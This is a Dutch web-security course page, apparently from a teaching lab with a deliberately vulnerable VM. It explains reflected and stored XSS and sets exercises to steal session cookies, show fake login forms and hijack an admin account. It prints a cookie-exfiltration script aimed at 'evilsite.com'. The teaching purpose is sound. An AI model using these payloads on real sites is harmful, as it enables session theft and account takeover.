<code class="center-block">
|
||||
...<br>
|
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947E'<br>
|
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947F'<br>
|
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947G'<br>
|
||||
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947H'<br>
|
||||
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947I'<br>
|
||||
2013-05-23 14:15:56 Gebruiker 'Admin' ingelogd<br>
|
||||
</code>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Welke fout hebben de programmeurs van Nieuws.nl gemaakt? Beschrijf kort hoe je de site kan programmeren om deze aanval
|
||||
te voorkomen.</span>
|
||||
</div>
|
||||
|
||||
<img src="/static/img/password2.jpg" class="center-block">
|
||||
|
||||
|
||||
<script>
|
||||
function utf8_encode(argString) {
|
||||
// discuss at: http://phpjs.org/functions/utf8_encode/
|
||||
// original by: Webtoolkit.info (http://www.webtoolkit.info/)
|
||||
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
|
||||
// improved by: sowberry
|
||||
// improved by: Jack
|
||||
// improved by: Yves Sucaet
|
||||
// improved by: kirilloid
|
||||
// bugfixed by: Onno Marsman
|
||||
// bugfixed by: Onno Marsman
|
||||
// bugfixed by: Ulrich
|
||||
// bugfixed by: Rafal Kukawski
|
||||
// bugfixed by: kirilloid
|
||||
// example 1: utf8_encode('Kevin van Zonneveld');
|
||||
// returns 1: 'Kevin van Zonneveld'
|
||||
|
||||
if (argString === null || typeof argString === 'undefined') {
|
||||
return '';
|
||||
}
|
||||
|
||||
// .replace(/\r\n/g, "\n").replace(/\r/g, "\n");
|
||||
var string = (argString + '');
|
||||
var utftext = '',
|
||||
start, end, stringl = 0;
|
||||
|
||||
start = end = 0;
|
||||
stringl = string.length;
|
||||
for (var n = 0; n < stringl; n++) {
|
||||
var c1 = string.charCodeAt(n);
|
||||
var enc = null;
|
||||
|
||||
if (c1 < 128) {
|
||||
end++;
|
||||
} else if (c1 > 127 && c1 < 2048) {
|
||||
enc = String.fromCharCode(
|
||||
(c1 >> 6) | 192, (c1 & 63) | 128
|
||||
);
|
||||
} else if ((c1 & 0xF800) != 0xD800) {
|
||||
enc = String.fromCharCode(
|
||||
(c1 >> 12) | 224, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
|
||||
);
|
||||
} else {
|
||||
// surrogate pairs
|
||||
if ((c1 & 0xFC00) != 0xD800) {
|
||||
throw new RangeError('Unmatched trail surrogate at ' + n);
|
||||
}
|
||||
var c2 = string.charCodeAt(++n);
|
||||
if ((c2 & 0xFC00) != 0xDC00) {
|
||||
throw new RangeError('Unmatched lead surrogate at ' + (n - 1));
|
||||
}
|
||||
c1 = ((c1 & 0x3FF) << 10) + (c2 & 0x3FF) + 0x10000;
|
||||
enc = String.fromCharCode(
|
||||
(c1 >> 18) | 240, ((c1 >> 12) & 63) | 128, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
|
||||
);
|
||||
}
|
||||
if (enc !== null) {
|
||||
if (end > start) {
|
||||
utftext += string.slice(start, end);
|
||||
}
|
||||
utftext += enc;
|
||||
start = end = n + 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (end > start) {
|
||||
utftext += string.slice(start, stringl);
|
||||
}
|
||||
|
||||
return utftext;
|
||||
}
|
||||
function md5(str) {
|
||||
// discuss at: http://phpjs.org/functions/md5/
|
||||
// original by: Webtoolkit.info (http://www.webtoolkit.info/)
|
||||
// improved by: Michael White (http://getsprink.com)
|
||||
// improved by: Jack
|
||||
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
|
||||
// input by: Brett Zamir (http://brett-zamir.me)
|
||||
// bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
|
||||
// depends on: utf8_encode
|
||||
// example 1: md5('Kevin van Zonneveld');
|
||||
// returns 1: '6e658d4bfcb59cc13f96c14450ac40b9'
|
||||
|
||||
var xl;
|
||||
|
||||
var rotateLeft = function (lValue, iShiftBits) {
|
||||
return (lValue << iShiftBits) | (lValue >>> (32 - iShiftBits));
|
||||
};
|
||||
|
||||
var addUnsigned = function (lX, lY) {
|
||||
var lX4, lY4, lX8, lY8, lResult;
|
||||
lX8 = (lX & 0x80000000);
|
||||
lY8 = (lY & 0x80000000);
|
||||
lX4 = (lX & 0x40000000);
|
||||
lY4 = (lY & 0x40000000);
|
||||
lResult = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF);
|
||||
if (lX4 & lY4) {
|
||||
return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
|
||||
}
|
||||
if (lX4 | lY4) {
|
||||
if (lResult & 0x40000000) {
|
||||
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
|
||||
} else {
|
||||
return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
|
||||
}
|
||||
} else {
|
||||
return (lResult ^ lX8 ^ lY8);
|
||||
}
|
||||
};
|
||||
|
||||
var _F = function (x, y, z) {
|
||||
return (x & y) | ((~x) & z);
|
||||
};
|
||||
var _G = function (x, y, z) {
|
||||
return (x & z) | (y & (~z));
|
||||
};
|
||||
var _H = function (x, y, z) {
|
||||
return (x ^ y ^ z);
|
||||
};
|
||||
var _I = function (x, y, z) {
|
||||
return (y ^ (x | (~z)));
|
||||
};
|
||||
|
||||
var _FF = function (a, b, c, d, x, s, ac) {
|
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_F(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
|
||||
var _GG = function (a, b, c, d, x, s, ac) {
|
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_G(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
|
||||
var _HH = function (a, b, c, d, x, s, ac) {
|
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_H(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
|
||||
var _II = function (a, b, c, d, x, s, ac) {
|
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_I(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
|
||||
var convertToWordArray = function (str) {
|
||||
var lWordCount;
|
||||
var lMessageLength = str.length;
|
||||
var lNumberOfWords_temp1 = lMessageLength + 8;
|
||||
var lNumberOfWords_temp2 = (lNumberOfWords_temp1 - (lNumberOfWords_temp1 % 64)) / 64;
|
||||
var lNumberOfWords = (lNumberOfWords_temp2 + 1) * 16;
|
||||
var lWordArray = new Array(lNumberOfWords - 1);
|
||||
var lBytePosition = 0;
|
||||
var lByteCount = 0;
|
||||
while (lByteCount < lMessageLength) {
|
||||
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
|
||||
lBytePosition = (lByteCount % 4) * 8;
|
||||
lWordArray[lWordCount] = (lWordArray[lWordCount] | (str.charCodeAt(lByteCount) << lBytePosition));
|
||||
lByteCount++;
|
||||
}
|
||||
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
|
||||
lBytePosition = (lByteCount % 4) * 8;
|
||||
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80 << lBytePosition);
|
||||
lWordArray[lNumberOfWords - 2] = lMessageLength << 3;
|
||||
lWordArray[lNumberOfWords - 1] = lMessageLength >>> 29;
|
||||
return lWordArray;
|
||||
};
|
||||
|
||||
var wordToHex = function (lValue) {
|
||||
var wordToHexValue = '',
|
||||
wordToHexValue_temp = '',
|
||||
lByte, lCount;
|
||||
for (lCount = 0; lCount <= 3; lCount++) {
|
||||
lByte = (lValue >>> (lCount * 8)) & 255;
|
||||
wordToHexValue_temp = '0' + lByte.toString(16);
|
||||
wordToHexValue = wordToHexValue + wordToHexValue_temp.substr(wordToHexValue_temp.length - 2, 2);
|
||||
}
|
||||
return wordToHexValue;
|
||||
};
|
||||
|
||||
var x = [],
|
||||
k, AA, BB, CC, DD, a, b, c, d, S11 = 7,
|
||||
S12 = 12,
|
||||
S13 = 17,
|
||||
S14 = 22,
|
||||
S21 = 5,
|
||||
S22 = 9,
|
||||
S23 = 14,
|
||||
S24 = 20,
|
||||
S31 = 4,
|
||||
S32 = 11,
|
||||
S33 = 16,
|
||||
S34 = 23,
|
||||
S41 = 6,
|
||||
S42 = 10,
|
||||
S43 = 15,
|
||||
S44 = 21;
|
||||
|
||||
str = this.utf8_encode(str);
|
||||
x = convertToWordArray(str);
|
||||
a = 0x67452301;
|
||||
b = 0xEFCDAB89;
|
||||
c = 0x98BADCFE;
|
||||
d = 0x10325476;
|
||||
|
||||
xl = x.length;
|
||||
for (k = 0; k < xl; k += 16) {
|
||||
AA = a;
|
||||
BB = b;
|
||||
CC = c;
|
||||
DD = d;
|
||||
a = _FF(a, b, c, d, x[k + 0], S11, 0xD76AA478);
|
||||
d = _FF(d, a, b, c, x[k + 1], S12, 0xE8C7B756);
|
||||
c = _FF(c, d, a, b, x[k + 2], S13, 0x242070DB);
|
||||
b = _FF(b, c, d, a, x[k + 3], S14, 0xC1BDCEEE);
|
||||
a = _FF(a, b, c, d, x[k + 4], S11, 0xF57C0FAF);
|
||||
d = _FF(d, a, b, c, x[k + 5], S12, 0x4787C62A);
|
||||
c = _FF(c, d, a, b, x[k + 6], S13, 0xA8304613);
|
||||
b = _FF(b, c, d, a, x[k + 7], S14, 0xFD469501);
|
||||
a = _FF(a, b, c, d, x[k + 8], S11, 0x698098D8);
|
||||
d = _FF(d, a, b, c, x[k + 9], S12, 0x8B44F7AF);
|
||||
c = _FF(c, d, a, b, x[k + 10], S13, 0xFFFF5BB1);
|
||||
b = _FF(b, c, d, a, x[k + 11], S14, 0x895CD7BE);
|
||||
a = _FF(a, b, c, d, x[k + 12], S11, 0x6B901122);
|
||||
d = _FF(d, a, b, c, x[k + 13], S12, 0xFD987193);
|
||||
c = _FF(c, d, a, b, x[k + 14], S13, 0xA679438E);
|
||||
b = _FF(b, c, d, a, x[k + 15], S14, 0x49B40821);
|
||||
a = _GG(a, b, c, d, x[k + 1], S21, 0xF61E2562);
|
||||
d = _GG(d, a, b, c, x[k + 6], S22, 0xC040B340);
|
||||
c = _GG(c, d, a, b, x[k + 11], S23, 0x265E5A51);
|
||||
b = _GG(b, c, d, a, x[k + 0], S24, 0xE9B6C7AA);
|
||||
a = _GG(a, b, c, d, x[k + 5], S21, 0xD62F105D);
|
||||
d = _GG(d, a, b, c, x[k + 10], S22, 0x2441453);
|
||||
c = _GG(c, d, a, b, x[k + 15], S23, 0xD8A1E681);
|
||||
b = _GG(b, c, d, a, x[k + 4], S24, 0xE7D3FBC8);
|
||||
a = _GG(a, b, c, d, x[k + 9], S21, 0x21E1CDE6);
|
||||
d = _GG(d, a, b, c, x[k + 14], S22, 0xC33707D6);
|
||||
c = _GG(c, d, a, b, x[k + 3], S23, 0xF4D50D87);
|
||||
b = _GG(b, c, d, a, x[k + 8], S24, 0x455A14ED);
|
||||
a = _GG(a, b, c, d, x[k + 13], S21, 0xA9E3E905);
|
||||
d = _GG(d, a, b, c, x[k + 2], S22, 0xFCEFA3F8);
|
||||
c = _GG(c, d, a, b, x[k + 7], S23, 0x676F02D9);
|
||||
b = _GG(b, c, d, a, x[k + 12], S24, 0x8D2A4C8A);
|
||||
a = _HH(a, b, c, d, x[k + 5], S31, 0xFFFA3942);
|
||||
d = _HH(d, a, b, c, x[k + 8], S32, 0x8771F681);
|
||||
c = _HH(c, d, a, b, x[k + 11], S33, 0x6D9D6122);
|
||||
b = _HH(b, c, d, a, x[k + 14], S34, 0xFDE5380C);
|
||||
a = _HH(a, b, c, d, x[k + 1], S31, 0xA4BEEA44);
|
||||
d = _HH(d, a, b, c, x[k + 4], S32, 0x4BDECFA9);
|
||||
c = _HH(c, d, a, b, x[k + 7], S33, 0xF6BB4B60);
|
||||
b = _HH(b, c, d, a, x[k + 10], S34, 0xBEBFBC70);
|
||||
a = _HH(a, b, c, d, x[k + 13], S31, 0x289B7EC6);
|
||||
d = _HH(d, a, b, c, x[k + 0], S32, 0xEAA127FA);
|
||||
c = _HH(c, d, a, b, x[k + 3], S33, 0xD4EF3085);
|
||||
b = _HH(b, c, d, a, x[k + 6], S34, 0x4881D05);
|
||||
a = _HH(a, b, c, d, x[k + 9], S31, 0xD9D4D039);
|
||||
d = _HH(d, a, b, c, x[k + 12], S32, 0xE6DB99E5);
|
||||
c = _HH(c, d, a, b, x[k + 15], S33, 0x1FA27CF8);
|
||||
b = _HH(b, c, d, a, x[k + 2], S34, 0xC4AC5665);
|
||||
a = _II(a, b, c, d, x[k + 0], S41, 0xF4292244);
|
||||
d = _II(d, a, b, c, x[k + 7], S42, 0x432AFF97);
|
||||
c = _II(c, d, a, b, x[k + 14], S43, 0xAB9423A7);
|
||||
b = _II(b, c, d, a, x[k + 5], S44, 0xFC93A039);
|
||||
a = _II(a, b, c, d, x[k + 12], S41, 0x655B59C3);
|
||||
d = _II(d, a, b, c, x[k + 3], S42, 0x8F0CCC92);
|
||||
c = _II(c, d, a, b, x[k + 10], S43, 0xFFEFF47D);
|
||||
b = _II(b, c, d, a, x[k + 1], S44, 0x85845DD1);
|
||||
a = _II(a, b, c, d, x[k + 8], S41, 0x6FA87E4F);
|
||||
d = _II(d, a, b, c, x[k + 15], S42, 0xFE2CE6E0);
|
||||
c = _II(c, d, a, b, x[k + 6], S43, 0xA3014314);
|
||||
b = _II(b, c, d, a, x[k + 13], S44, 0x4E0811A1);
|
||||
a = _II(a, b, c, d, x[k + 4], S41, 0xF7537E82);
|
||||
d = _II(d, a, b, c, x[k + 11], S42, 0xBD3AF235);
|
||||
c = _II(c, d, a, b, x[k + 2], S43, 0x2AD7D2BB);
|
||||
b = _II(b, c, d, a, x[k + 9], S44, 0xEB86D391);
|
||||
a = addUnsigned(a, AA);
|
||||
b = addUnsigned(b, BB);
|
||||
c = addUnsigned(c, CC);
|
||||
d = addUnsigned(d, DD);
|
||||
}
|
||||
|
||||
var temp = wordToHex(a) + wordToHex(b) + wordToHex(c) + wordToHex(d);
|
||||
|
||||
return temp.toLowerCase();
|
||||
}
|
||||
</script>
|
||||
@@ -0,0 +1,244 @@
|
||||
<style>
|
||||
.screenshot {
|
||||
box-shadow: 0 0 15px #888;
|
||||
}
|
||||
|
||||
figure {
|
||||
float: right;
|
||||
width: 30%;
|
||||
}
|
||||
|
||||
figure img {}
|
||||
|
||||
figcaption {
|
||||
margin-top: 10px;
|
||||
font-size: smaller;
|
||||
color: gray;
|
||||
text-align: center;
|
||||
}
|
||||
</style>
|
||||
|
||||
<h1>Cross-site Scripting</h1>
|
||||
|
||||
<figure>
|
||||
<img src="/static/img/rabobank.png" class="screenshot">
|
||||
<figcaption>Iemand heeft
|
||||
<i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption>
|
||||
</figure>
|
||||
|
||||
<p>We gaan verder met cross-site scripting, op het web zie je dit vaak afgekort als
|
||||
<b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra
|
||||
stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de <script>
|
||||
tag kan toevoegen is er sprake van een XSS aanval.</p>
|
||||
|
||||
<p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login
|
||||
gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch
|
||||
jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p>
|
||||
|
||||
<h3>Reflected</h3>
|
||||
|
||||
<figure>
|
||||
<img class="screenshot" src="/static/img/zoekterm.png">
|
||||
<figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption>
|
||||
</figure>
|
||||
|
||||
<p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets
|
||||
wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als
|
||||
op de webpagina zelf.</p>
|
||||
|
||||
|
||||
|
||||
<p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren
|
||||
de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken.
|
||||
Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet.
|
||||
The perfect crime!</p>
|
||||
|
||||
<h3>Stored</h3>
|
||||
|
||||
<p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een
|
||||
invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's).
|
||||
En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n
|
||||
90% van alle websites). Als de site niet goed beveiligd is kan je in de database <script> tags met Javascript opslaan
|
||||
die vervolgens in de browsers van andere gebruikers kan laten runnen.</p>
|
||||
|
||||
<p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te
|
||||
laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p>
|
||||
|
||||
<h3>Aanvallen</h3>
|
||||
|
||||
<h4>HTML toevoegen</h4>
|
||||
|
||||
<p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan
|
||||
een <form> die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de
|
||||
site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p>
|
||||
|
||||
<h4>Javascript toevoegen</h4>
|
||||
|
||||
<p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele <script> tag toe te
|
||||
voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker
|
||||
te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p>
|
||||
|
||||
<p>
|
||||
<code><script>document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;</script></code>
|
||||
</p>
|
||||
|
||||
<p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site
|
||||
van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan
|
||||
de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p>
|
||||
|
||||
<h3>Countermeasures</h3>
|
||||
|
||||
<p>De belangrijkste regel bij websecurity is:
|
||||
<b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare
|
||||
tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die
|
||||
je weer weergeeft op de pagina te
|
||||
<b>escapen</b>.</p>
|
||||
|
||||
<p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities.
|
||||
<code>"</code> wordt dan bijvoorbeeld
|
||||
<code>&quot;</code> en
|
||||
<code><</code> wordt
|
||||
<code>&lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p>
|
||||
|
||||
<p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p>
|
||||
|
||||
|
||||
<code><script><b>gebruikersinvoer hier</b></script></p></code>
|
||||
|
||||
<p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het
|
||||
zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een
|
||||
bepaalde waarde te zetten.</p>
|
||||
|
||||
<h1>Opdrachten</h1>
|
||||
|
||||
<h2>Bank</h2>
|
||||
<p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze
|
||||
nog steeds niet veilig van hun beveiligingsproblemen.</p>
|
||||
|
||||
<p>Ga naar de
|
||||
<span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a>
|
||||
</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar andere
|
||||
server gestuurd.</span>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span>
|
||||
</div>
|
||||
|
||||
<p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje
|
||||
extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Zoek eens naar
|
||||
<code>window.history.pushState</code>.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina
|
||||
komt te staan.</span>
|
||||
</div>
|
||||
|
||||
<h2>Webshop</h2>
|
||||
<p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde
|
||||
afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site
|
||||
<span class="website">"Webshop (replace)"</span>.</p>
|
||||
|
||||
<p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p>
|
||||
|
||||
<p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt
|
||||
gebruiken moet je de url encoded versie gebruiken: %2B</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Op
|
||||
<a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a>
|
||||
</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (<>"&) zijn nu geëscapet. Maar het
|
||||
is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd.
|
||||
Let goed op de quotejes.</span>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2.
|
||||
PHP aanpassen (lees documentatie op
|
||||
<a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span>
|
||||
</div>
|
||||
|
||||
|
||||
<h2>Nieuws</h2>
|
||||
|
||||
<p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de
|
||||
<span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p>
|
||||
|
||||
<p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators
|
||||
van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen.
|
||||
</p>
|
||||
|
||||
<p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen
|
||||
server sturen om de opdracht te kunnen maken. Je kunt hiervoor
|
||||
<a href="https://requestb.in">Requestbin</a> gebruiken</p>
|
||||
|
||||
<p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan
|
||||
de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p>
|
||||
|
||||
<p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie
|
||||
van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p>
|
||||
|
||||
<p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p>
|
||||
|
||||
<p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p>
|
||||
|
||||
<p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p>
|
||||
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span>
|
||||
</div>
|
||||
|
||||
<h2>Wereldwijs</h2>
|
||||
|
||||
<p>Ga naar de
|
||||
<span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen.
|
||||
Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek
|
||||
in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p>
|
||||
|
||||
<p>Let op: In Firefox werkt deze hack niet</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('<div>').
|
||||
Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span>
|
||||
</div>
|
||||
Reference in new issue
Block a user